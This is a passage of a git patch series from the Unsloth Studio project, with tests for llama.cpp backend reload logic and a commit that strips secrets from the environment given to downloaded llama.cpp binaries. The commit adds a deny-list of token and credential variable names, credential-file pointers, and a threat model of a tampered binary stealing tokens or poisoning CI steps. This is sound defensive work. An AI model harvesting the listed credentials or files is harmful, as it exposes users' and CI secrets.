+    """exit code 3 (MSVC abort()) counts as a crash; signals / clean exits do not."""
+    f = LlamaCppBackend._is_abort_exit
+    assert f(3) is True
+    assert f(0) is False
+    assert f(-6) is False  # POSIX SIGABRT is handled by _is_signal_crash, not here
+    assert f(None) is False
+
+
+# ── tensor-off after a multi-GPU fallback forces a reload (route dedup) ─
+
+
+class _NoopProcess:
+    """Stand-in for Popen so is_loaded is True and atexit cleanup doesn't crash."""
+
+    def terminate(self):
+        pass
+
+    def wait(self, timeout = None):
+        return 0
+
+    def kill(self):
+        pass
+
+    def poll(self):
+        return 0
+
+
+def _fallback_loaded_backend(layer_preserves_tensor_intent: bool) -> LlamaCppBackend:
+    """A loaded backend in the tensor->layer fallback state (tensor off, --split-mode
+    layer stored), differing only in the preserved-multi-GPU flag."""
+    b = LlamaCppBackend()
+    b._model_identifier = "owner/repo"
+    b._requested_n_ctx = 0
+    b._cache_type_kv = None
+    b._tensor_parallel = False
+    b._layer_preserves_tensor_intent = layer_preserves_tensor_intent
+    b._extra_args = ["--split-mode", "layer"]
+    b._requested_spec_mode = "auto"
+    b._chat_template_override = None
+    b._gguf_path = None
+    return b
+
+
+def test_tensor_off_echo_preserves_multi_gpu_fallback():
+    """The Studio UI always sends tensor_parallel and echoes the /load response's
+    resolved value, so after a fallback a ctx/settings reload carries tensor_parallel=
+    false even though the user never changed it. That echo must NOT collapse the
+    preserved multi-GPU placement -- it dedupes (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo", tensor_parallel = False)
+    assert "tensor_parallel" in req.model_fields_set, "the UI always sends the field"
+
+    # Preserved fallback + bare tensor=false echo: dedupe, keep multi-GPU (no collapse).
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+    # A genuine layer load (no preserved intent): tensor-off also dedupes, no churn.
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = False)
+        )
+        is True
+    )
+
+
+def test_explicit_split_mode_layer_extras_reloads_after_multi_gpu_fallback():
+    """Tensor intent can be dropped via extras too: an explicit --split-mode layer
+    matches the stored fallback extras but must still reload (reviewer.py P1, #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])
+    assert "llama_extra_args" in req.model_fields_set
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is False
+    )
+
+
+def test_tensor_off_reload_requires_explicit_toggle():
+    """An Apply that doesn't touch the toggle (e.g. a context change) isn't churned
+    by the preserved-fallback reload -- the working server is kept (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo")  # tensor_parallel left unset
+    assert "tensor_parallel" not in req.model_fields_set
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+
+
+def test_tensor_off_under_env_tensor_does_not_reload_loop(monkeypatch):
+    """With LLAMA_ARG_SPLIT_MODE=tensor set, a tensor-off request can't drop tensor
+    intent, so the env-aware guard dedupes instead of reload-looping (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+    monkeypatch.setenv("LLAMA_ARG_SPLIT_MODE", "tensor")
+
+    req = LoadRequest(model_path = "owner/repo", tensor_parallel = False)
+    assert "tensor_parallel" in req.model_fields_set
+    # env still forces tensor -> not a real drop -> dedupe (no reload loop).
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+
+
+def test_is_explicit_tensor_drop_truth_table():
+    """Only an explicit non-tensor --split-mode override is a drop. A bare
+    tensor_parallel field (the UI always sends it and echoes the fallback's false), an
+    empty clear, an unrelated extra (--top-k), or inherit (None) must NOT collapse a
+    preserved fallback; --split-mode tensor / tensor_parallel=true re-engage (Codex
+    #6659)."""
+    from models.inference import LoadRequest
+
+    f = _load_inference_routes_module()._is_explicit_tensor_drop
+    # A non-tensor split-mode override is the one deliberate departure -> drop.
+    assert (
+        f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])) is True
+    )
+    # tensor / retry re-engages, never a drop.
+    assert (
+        f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "tensor"]))
+        is False
+    )
+    # A bare tensor_parallel field is the UI echo, not a drop (would collapse on reload).
+    assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = False)) is False
+    assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = True)) is False
+    # Unrelated extra / empty clear / inherit all keep the preserved placement.
+    assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--top-k", "20"])) is False
+    assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = [])) is False
+    assert f(LoadRequest(model_path = "owner/repo")) is False
+
+
+def test_explicit_tensor_drop_uses_shared_helper_in_both_readers():
+    """Both the already-loaded dedup and the load carry-forward derive the drop from
+    _is_explicit_tensor_drop, so they agree on what counts as a drop -- a reload for
+    an unrelated extra still carries the preserved intent rather than collapsing to one
+    GPU (Codex #6659)."""
+    src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
+    # Dedup reader (the preserved-fallback reload guard).
+    assert "layer_preserves_tensor_intent and _is_explicit_tensor_drop(request)" in src
+    # Load carry-forward reader feeds the same decision into the carry-forward.
+    assert "_explicit_tensor_drop = _is_explicit_tensor_drop(request)" in src
+
+
+def test_layer_preserves_tensor_intent_set_only_on_preserved_downgrade():
+    """load_model latches the flag from _layer_min_gpus (raised only when a tensor
+    request is downgraded but kept multi-GPU), and clears it when tensor stays on."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    on = src.find("self._tensor_parallel = True")
+    off = src.find("self._tensor_parallel = False")
+    assert 0 <= on and 0 <= off
+    assert "self._layer_preserves_tensor_intent = False" in src[on : on + 120]
+    assert "self._layer_preserves_tensor_intent = _layer_min_gpus > 1" in src[off : off + 400]
+
+
+def test_layer_min_gpus_bound_before_gpu_selection_try():
+    """_layer_min_gpus is bound before the GPU-selection try, so the --fit-on except
+    path can't UnboundLocalError when the command builder reads it (Codex #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert src.count("_layer_min_gpus = 1") == 1, "exactly one init, before the try"
+    init = src.find("_layer_min_gpus = 1")
+    try_body = src.find("gguf_size = self._get_gguf_size_bytes")
+    fit_except = src.find("GPU selection failed")
+    use_after = src.find("self._layer_preserves_tensor_intent = _layer_min_gpus > 1")
+    assert (
+        -1 < init < try_body < fit_except < use_after
+    ), "the init must precede the try body, the except, and the command-builder use"
+
+
+def test_already_in_target_state_reloads_on_tensor_off_after_fallback():
+    """The backend fast path mirrors the route dedup: a preserved fallback reloads on
+    an EXPLICIT tensor-off request, but an implicit same-settings reload (carry-forward
+    preserve_multi_gpu_on_layer=True) still dedupes (Codex #6659)."""
+
+    def _backend(layer_preserves: bool) -> LlamaCppBackend:
+        b = _fallback_loaded_backend(layer_preserves_tensor_intent = layer_preserves)
+        b._process = _NoopProcess()
+        b._healthy = True
+        return b
+
+    kwargs = dict(
+        gguf_path = None,
+        mtp_draft_path = None,
+        model_identifier = "owner/repo",
+        hf_variant = None,
+        n_ctx = 0,
+        cache_type_kv = None,
+        speculative_type = None,
+        spec_draft_n_max = None,
+        tensor_parallel = False,
+        chat_template_override = None,
+        extra_args = ["--split-mode", "layer"],
+        is_vision = False,
+    )
+    # Preserved fallback + EXPLICIT tensor drop -> reload (not already in target state).
+    assert _backend(True)._already_in_target_state(**kwargs) is False
+    # Same preserved fallback but an implicit reload that carries the intent forward
+    # (HF auto-pick / local-dir flows skip the route guard and reach here) -> dedupe.
+    assert (
+        _backend(True)._already_in_target_state(**kwargs, preserve_multi_gpu_on_layer = True) is True
+    )
+    # A genuine layer load (no preserved intent) -> dedupe, no churn.
+    assert _backend(False)._already_in_target_state(**kwargs) is True

From 4c72e09480d5f0c21d6739c62b23e7d501464ffc Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 27 Jun 2026 05:21:05 -0700
Subject: [PATCH 133/306] Studio: stop handing CI/user secrets to downloaded
 llama.cpp binaries (#6696)

* Studio: stop handing CI/user secrets to downloaded llama.cpp binaries

The macOS prebuilt path installs llama.cpp from the unslothai/llama.cpp
fork's latest (unpinned, mutable) release and then executes the
downloaded llama-server / llama-quantize binaries during install-time
validation. binary_env() built that child environment from a full
os.environ.copy(), so a compromised or tampered prebuilt would inherit
every secret in the process: HF_TOKEN and the workflow GitHub tokens in
CI, and HF / cloud credentials for end users running install.sh /
setup.sh.

We publish prebuilts daily, so pinning a release tag is not workable.
Instead, neutralise the impact: these binaries have no reason to read any
token, so strip secret-bearing variables (exact names plus
TOKEN/SECRET/PASSWORD/CREDENTIAL/PRIVATE_KEY/API_KEY markers) before
handing the env to a downloaded binary. The installer's own GitHub and
Hugging Face API calls read os.environ directly, so authentication and
release-API rate limiting are unaffected; PATH, LD_LIBRARY_PATH,
DYLD_LIBRARY_PATH and CUDA/ROCm vars are preserved. One change covers the
install-time validation path for all six macOS workflows and end users.

Follow-up (separate, sequenced): publish build-provenance attestations
from the fork's prebuilt workflows and verify them in CI, so a forged
release is rejected rather than merely starved of secrets.

* Strip KUBECONFIG, SSH_AUTH_SOCK, and PASSPHRASE-marked vars from binary env

Extend the deny-list per PR review: KUBECONFIG and SSH_AUTH_SOCK are
credential pointers/capabilities a downloaded binary never needs, and a
PASSPHRASE marker catches SSH_PASSPHRASE / GPG_PASSPHRASE. Tests updated.

* Studio: also scrub proxy/index env vars and URL-embedded credentials before running prebuilt binaries

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope mlx-ci secrets to the install + download commands for PR #6696

Drop the ambient step-level env block and pass GH/GITHUB/HF tokens only
on the installer and GGUF-download commands, so the directly invoked
llama-quantize / llama-server smoke runs see no secrets. The installer
still reads tokens from os.environ for the releases API and probe fetch.

* Trim verbose comments around the secret-env scrubber for PR #6696

Comment-only: condense the block comments added across this PR. Logic
unchanged (comment_tools.py check confirms code-only signature equal).

* Redirect HOME / cache pointers to an empty dir for prebuilt binaries (PR #6696)

Address Codex P2: stripping token env vars still let a tampered binary
read on-disk token stores (~/.cache/huggingface/token, ~/.aws/credentials,
~/.config/gh) through $HOME and the cache/config pointers. Point HOME plus
the HF / XDG / Windows home pointers at a single empty throwaway dir for
the downloaded-binary env. Defense in depth: a binary resolving the real
home via getpwuid is out of scope and needs OS sandboxing.

* Close residual credential-probe gaps for PR #6696

Address the latest Codex review:
- Strip token-only URL userinfo too (scheme://ghp_token@host), not just
  the user:pass form.
- Redirect HOMEDRIVE/HOMEPATH alongside USERPROFILE so a Windows binary
  cannot reconstruct the real profile from %HOMEDRIVE%%HOMEPATH%.
- Drop explicit credential-file pointers (NETRC, PIP_CONFIG_FILE,
  DOCKER_CONFIG, GIT_CONFIG_GLOBAL) that live outside HOME.
- Probe ldd with a secret-free env: linux_runtime_dirs ran ldd on the
  untrusted prebuilt with the inherited os.environ, and ldd may execute
  the binary, so it could observe HF_TOKEN/GITHUB_TOKEN during the probe.

Factored the shared scrub into secret_free_environ().

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Separate token-bearing install from binary smoke; drop CI command files (PR #6696)

Address the two P1s in the latest review:
- mlx-ci: GitHub bakes secrets into the run-script text, so inline token
  assignments in a step that later runs the prebuilt let a tampered binary
  read them from the script. Split into a token-bearing install + download
  step that never launches a binary, and a secret-free smoke step that runs
  llama-quantize / llama-server.
- secret_free_environ now drops the GitHub Actions command files
  (GITHUB_ENV, GITHUB_PATH, GITHUB_OUTPUT, GITHUB_STEP_SUMMARY, BASH_ENV) and
  the smoke step unsets them, so a tampered prebuilt cannot inject PATH/env
  into the later token-bearing MLX steps.

* Run the prebuilt smoke last, after all token-bearing steps (PR #6696)

Address the P1 workspace-poisoning vector: even with no secrets in its env,
a tampered prebuilt could edit the checkout or installed modules, and the
later HF_TOKEN MLX steps would then execute that poisoned code on push
builds. Move the prebuilt install + smoke to the end of the job so the
untrusted binary runs after every token-bearing step, leaving nothing for it
to corrupt. The MLX GGUF reload uses a source-built llama-cli, not this
prebuilt, so nothing depends on the earlier position.

* Trim comments around the secret-env scrubber and prebuilt CI steps (PR #6696)

Comment-only: condense the security-rationale block comments and merge the
duplicated prebuilt-step description in mlx-ci. Logic unchanged
(comment_tools.py check confirms the code-only signature is equal; install
suite still passes).

* Authenticate the GGUF export release-API lookup with the read-only GITHUB_TOKEN (PR #6696)

* Rename env scrubber off the secret-named identifier CodeQL flags as a clear-text sink (PR #6696)

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/mlx-ci.yml                  | 181 ++++++-------
 studio/install_llama_prebuilt.py              | 140 +++++++++-
 .../test_install_llama_prebuilt_logic.py      | 256 ++++++++++++++++++
 3 files changed, 482 insertions(+), 95 deletions(-)

diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index 864630f9f0..424a706d7c 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -231,99 +231,6 @@ jobs:
             tests/studio/test_is_mlx_dispatch_gate.py \
             tests/studio/test_mlx_training_worker_behaviors.py
 
-      # Studio prebuilt llama.cpp install + GGUF inference. Mirrors the
-      # path Studio's setup.sh takes on macOS since #5963: plan against
-      # the unslothai/llama.cpp fork's latest release, which ships the
-      # bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the
-      # default policy reads. After install, downloads a small published
-      # GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates
-      # llama-server /completion end to end. An install failure or a
-      # non-zero binary exit is an Unsloth/Studio bug.
-      - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
-        env:
-          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
-          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
-          # install_llama_prebuilt.py hits the GitHub releases API to
-          # resolve the asset URL. Anonymous calls share the runner-IP
-          # rate-limit bucket and 403 quickly -- pass the workflow's
-          # automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated
-          # bucket.
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          set -euo pipefail
-          INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
-          rm -rf "$INSTALL_DIR"
-          # Mirror studio/setup.sh on macOS (the install.sh user path):
-          # it plans against the unslothai/llama.cpp fork's latest
-          # release with no policy or tag flags.
-          python studio/install_llama_prebuilt.py \
-            --install-dir "$INSTALL_DIR" \
-            --published-repo unslothai/llama.cpp
-
-          # Studio bundles only llama-server + llama-quantize from the
-          # prebuilt (not llama-cli) -- inference goes through
-          # llama-server's HTTP /completion endpoint. Validate both:
-          # llama-quantize --help proves the dynamic libs link, then
-          # spin up llama-server and POST a /completion request on a
-          # tiny published GGUF.
-          LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
-          LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
-          [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
-          [ -x "$LLAMA_QUANT" ]  || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; }
-          echo "llama-server : $LLAMA_SERVER"
-          echo "llama-quantize: $LLAMA_QUANT"
-          "$LLAMA_QUANT" --help >/dev/null && echo "  llama-quantize loads OK"
-
-          mkdir -p /tmp/ggufs
-          bash .github/scripts/hf-download-with-retry.sh \
-            'unsloth/gemma-3-270m-it-GGUF' \
-            'gemma-3-270m-it-Q4_K_M.gguf' \
-            /tmp/ggufs
-
-          PORT=18080
-          echo "=== starting llama-server on 127.0.0.1:$PORT ==="
-          "$LLAMA_SERVER" \
-            -m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \
-            --host 127.0.0.1 \
-            --port "$PORT" \
-            -c 256 \
-            -n 16 \
-            --no-warmup \
-            > /tmp/llama-server.log 2>&1 &
-          SERVER_PID=$!
-          trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT
-
-          # Wait for /health to come up
-          for i in $(seq 1 30); do
-            if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
-              echo "  server up after ${i}s"
-              break
-            fi
-            sleep 1
-          done
-          if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
-            echo "::error::llama-server never became healthy"
-            tail -40 /tmp/llama-server.log
-            exit 1
-          fi
-
-          PROMPT="Hello, my name is"
-          echo "=== POST /completion ==="
-          RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \
-            -H 'Content-Type: application/json' \
-            -d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}")
-          echo "raw response (head): $(echo "$RESP" | head -c 600)"
-          CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))")
-          echo "completion content: $CONTENT"
-
-          if [ -z "$CONTENT" ]; then
-            echo "::error::llama-server /completion returned empty content"
-            tail -40 /tmp/llama-server.log
-            exit 1
-          fi
-          echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
-
       # Real MLX training + inference smoke test. Trains
       # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
       # (batch_size=2, gradient_accumulation_steps=3) on a single
@@ -338,6 +245,9 @@ jobs:
           UNSLOTH_COMPILE_DISABLE: '1'
         run: |
           mkdir -p mlx_workdir
+          # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
+          # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
+          GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
           python tests/studio/run_real_mlx_smoke.py train \
             --workdir "$PWD/mlx_workdir"
 
@@ -406,3 +316,88 @@ jobs:
             cat "$f" 2>/dev/null || echo "(missing)"
             echo
           done
+
+      # Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
+      # unslothai/llama.cpp fork's latest release, download a small public GGUF, and
+      # check llama-server /completion end to end. Split and placed last so the
+      # untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
+      # leaving no token-bearing step or shared workspace for a tampered prebuilt to
+      # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
+      - name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
+        run: |
+          set -euo pipefail
+          INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
+          rm -rf "$INSTALL_DIR"
+          # Download only -- no llama-quantize / llama-server launch in this step.
+          python studio/install_llama_prebuilt.py \
+            --install-dir "$INSTALL_DIR" \
+            --published-repo unslothai/llama.cpp
+          mkdir -p /tmp/ggufs
+          bash .github/scripts/hf-download-with-retry.sh \
+            'unsloth/gemma-3-270m-it-GGUF' \
+            'gemma-3-270m-it-Q4_K_M.gguf' \
+            /tmp/ggufs
+
+      # Final step: runs the downloaded binaries with no secrets present, and clears
+      # the GitHub Actions command files so a tampered prebuilt cannot influence the job.
+      - name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
+        run: |
+          set -euo pipefail
+          unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
+          INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
+          # Studio bundles only llama-server + llama-quantize (not llama-cli);
+          # inference goes through llama-server's HTTP /completion endpoint.
+          LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
+          LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
+          [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
+          [ -x "$LLAMA_QUANT" ]  || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; }
+          echo "llama-server : $LLAMA_SERVER"
+          echo "llama-quantize: $LLAMA_QUANT"
+          "$LLAMA_QUANT" --help >/dev/null && echo "  llama-quantize loads OK"
+
+          PORT=18080
+          echo "=== starting llama-server on 127.0.0.1:$PORT ==="
+          "$LLAMA_SERVER" \
+            -m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \
+            --host 127.0.0.1 \
+            --port "$PORT" \
+            -c 256 \
+            -n 16 \
+            --no-warmup \
+            > /tmp/llama-server.log 2>&1 &
+          SERVER_PID=$!
+          trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT
+
+          # Wait for /health to come up
+          for i in $(seq 1 30); do
+            if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
+              echo "  server up after ${i}s"
+              break
+            fi
+            sleep 1
+          done
+          if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
+            echo "::error::llama-server never became healthy"
+            tail -40 /tmp/llama-server.log
+            exit 1
+          fi
+
+          PROMPT="Hello, my name is"
+          echo "=== POST /completion ==="
+          RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \
+            -H 'Content-Type: application/json' \
+            -d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}")
+          echo "raw response (head): $(echo "$RESP" | head -c 600)"
+          CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))")
+          echo "completion content: $CONTENT"
+
+          if [ -z "$CONTENT" ]; then
+            echo "::error::llama-server /completion returned empty content"
+            tail -40 /tmp/llama-server.log
+            exit 1
+          fi
+          echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index c7f34e39f2..e40cb3083e 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -7,6 +7,7 @@
 from __future__ import annotations
 
 import argparse
+import atexit
 import errno
 import fnmatch
 import hashlib
@@ -5203,7 +5204,8 @@ def ldconfig_runtime_dirs(required_libraries: Iterable[str]) -> list[str]:
 
 
 def linux_runtime_dirs(binary_path: Path) -> list[str]:
-    missing = linux_missing_libraries(binary_path)
+    # ldd may execute the binary, so probe it with a secret-free env.
+    missing = linux_missing_libraries(binary_path, env = scrubbed_environ())
     if not missing:
         return []
     return linux_runtime_dirs_for_required_libraries(missing)
@@ -5499,6 +5501,140 @@ def _wsl_system_rocm_lib_dirs() -> list[str]:
     return out
 
 
+# Secrets a downloaded llama.cpp binary never needs; keep them out of binary_env().
+# The installer's own API calls read os.environ directly, so auth is unaffected.
+_SECRET_ENV_EXACT_NAMES = frozenset(
+    {
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "WANDB_API_KEY",
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "AWS_ACCESS_KEY_ID",
+        "AWS_SECRET_ACCESS_KEY",
+        "AWS_SESSION_TOKEN",
+        "GOOGLE_APPLICATION_CREDENTIALS",
+        "AZURE_CLIENT_SECRET",
+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
+        "ACTIONS_ID_TOKEN_REQUEST_URL",
+        "ACTIONS_RUNTIME_TOKEN",
+        # Credential pointers (cluster / remote-host access).
+        "KUBECONFIG",
+        "SSH_AUTH_SOCK",
+    }
+)
+# Case-insensitive substring markers for names we do not enumerate (no bare "KEY",
+# which would hit benign runtime vars).
+_SECRET_ENV_MARKERS = (
+    "TOKEN",
+    "SECRET",
+    "PASSWORD",
+    "PASSWD",
+    "PASSPHRASE",
+    "CREDENTIAL",
+    "PRIVATE_KEY",
+    "API_KEY",
+)
+# Proxy / index URLs embed creds in their value; the offline binaries never need them.
+_SECRET_ENV_URL_NAMES = frozenset(
+    {
+        "HTTP_PROXY",
+        "HTTPS_PROXY",
+        "ALL_PROXY",
+        "FTP_PROXY",
+        "RSYNC_PROXY",
+        "PIP_INDEX_URL",
+        "PIP_EXTRA_INDEX_URL",
+        "UV_INDEX_URL",
+        "UV_DEFAULT_INDEX",
+        "UV_EXTRA_INDEX_URL",
+    }
+)
+# Also drop values with URL userinfo creds (scheme://user:secret@host or token@host).
+_URL_USERINFO_CREDENTIAL_RE = re.compile(r"://[^/@\s]+@")
+
+
+def is_secret_env_name(name: str) -> bool:
+    upper = name.upper()
+    return (
+        upper in _SECRET_ENV_EXACT_NAMES
+        or upper in _SECRET_ENV_URL_NAMES
+        or any(marker in upper for marker in _SECRET_ENV_MARKERS)
+    )
+
+
+def scrub_env(env: dict[str, str]) -> dict[str, str]:
+    """Drop secret-bearing variables before handing an env to a downloaded binary."""
+    return {
+        key: value
+        for key, value in env.items()
+        if not is_secret_env_name(key) and not _URL_USERINFO_CREDENTIAL_RE.search(value or "")
+    }
+
+
+# Home / cache pointers to on-disk token stores (~/.cache/huggingface/token,
+# ~/.aws/credentials, ...). Stripping env tokens is not enough; point these at an
+# empty home so the binary cannot read those files via $HOME.
+_RUNTIME_HOME_POINTER_VARS = (
+    "HOME",
+    "USERPROFILE",
+    "APPDATA",
+    "LOCALAPPDATA",
+    "XDG_CACHE_HOME",
+    "XDG_CONFIG_HOME",
+    "XDG_DATA_HOME",
+    "HF_HOME",
+    "HUGGINGFACE_HUB_CACHE",
+    "HF_HUB_CACHE",
+)
+# Credential / config file pointers outside HOME; drop so lookups fall back to the
+# empty home.
+_CREDENTIAL_FILE_POINTER_VARS = (
+    "NETRC",
+    "PIP_CONFIG_FILE",
+    "DOCKER_CONFIG",
+    "GIT_CONFIG_GLOBAL",
+)
+# GitHub Actions command files: appending to these injects PATH/env into later steps.
+_CI_COMMAND_FILE_VARS = (
+    "GITHUB_ENV",
+    "GITHUB_PATH",
+    "GITHUB_OUTPUT",
+    "GITHUB_STEP_SUMMARY",
+    "BASH_ENV",
+)
+
+_isolated_runtime_home_dir: str | None = None
+
+
+def isolated_runtime_home() -> str:
+    # Empty dir, created lazily and removed at exit. (A binary resolving the real
+    # home via getpwuid is out of scope; that needs OS sandboxing.)
+    global _isolated_runtime_home_dir
+    if _isolated_runtime_home_dir is None:
+        path = tempfile.mkdtemp(prefix = "unsloth-prebuilt-home-")
+        atexit.register(shutil.rmtree, path, ignore_errors = True)
+        _isolated_runtime_home_dir = path
+    return _isolated_runtime_home_dir
+
+
+def scrubbed_environ() -> dict[str, str]:
+    # os.environ minus secrets, with home / credential pointers neutralised. Used for
+    # the binary env and any probe (e.g. ldd) that runs the untrusted binary.
+    env = scrub_env(os.environ.copy())
+    runtime_home = isolated_runtime_home()
+    for pointer in _RUNTIME_HOME_POINTER_VARS:
+        env[pointer] = runtime_home
+    # Windows rebuilds the profile from %HOMEDRIVE%%HOMEPATH% (no-op pair on POSIX).
+    drive, tail = os.path.splitdrive(runtime_home)
+    env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail or runtime_home
+    for pointer in (*_CREDENTIAL_FILE_POINTER_VARS, *_CI_COMMAND_FILE_VARS):
+        env.pop(pointer, None)
+    return env
+
+
 def binary_env(
     binary_path: Path,
     install_dir: Path,
@@ -5506,7 +5642,7 @@ def binary_env(
     *,
     runtime_line: str | None = None,
 ) -> dict[str, str]:
-    env = os.environ.copy()
+    env = scrubbed_environ()
     if host.is_windows:
         path_dirs = [
             str(binary_path.parent),
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index 9ee8759bb4..c852d7c495 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -22,6 +22,9 @@ SPEC.loader.exec_module(INSTALL_LLAMA_PREBUILT)
 PrebuiltFallback = INSTALL_LLAMA_PREBUILT.PrebuiltFallback
 extract_archive = INSTALL_LLAMA_PREBUILT.extract_archive
 binary_env = INSTALL_LLAMA_PREBUILT.binary_env
+is_secret_env_name = INSTALL_LLAMA_PREBUILT.is_secret_env_name
+scrub_env = INSTALL_LLAMA_PREBUILT.scrub_env
+isolated_runtime_home = INSTALL_LLAMA_PREBUILT.isolated_runtime_home
 HostInfo = INSTALL_LLAMA_PREBUILT.HostInfo
 AssetChoice = INSTALL_LLAMA_PREBUILT.AssetChoice
 ApprovedArtifactHash = INSTALL_LLAMA_PREBUILT.ApprovedArtifactHash
@@ -779,6 +782,259 @@ def test_binary_env_linux_includes_binary_parent_in_ld_library_path(
     assert str(install_dir) in ld_dirs
 
 
+def test_scrub_env_drops_secrets_and_keeps_runtime_vars():
+    raw = {
+        # secrets
+        "HF_TOKEN": "hf_x",
+        "HUGGING_FACE_HUB_TOKEN": "hf_y",
+        "GH_TOKEN": "gh_x",
+        "GITHUB_TOKEN": "gh_y",
+        "WANDB_API_KEY": "wandb_x",
+        "AWS_SECRET_ACCESS_KEY": "aws_x",
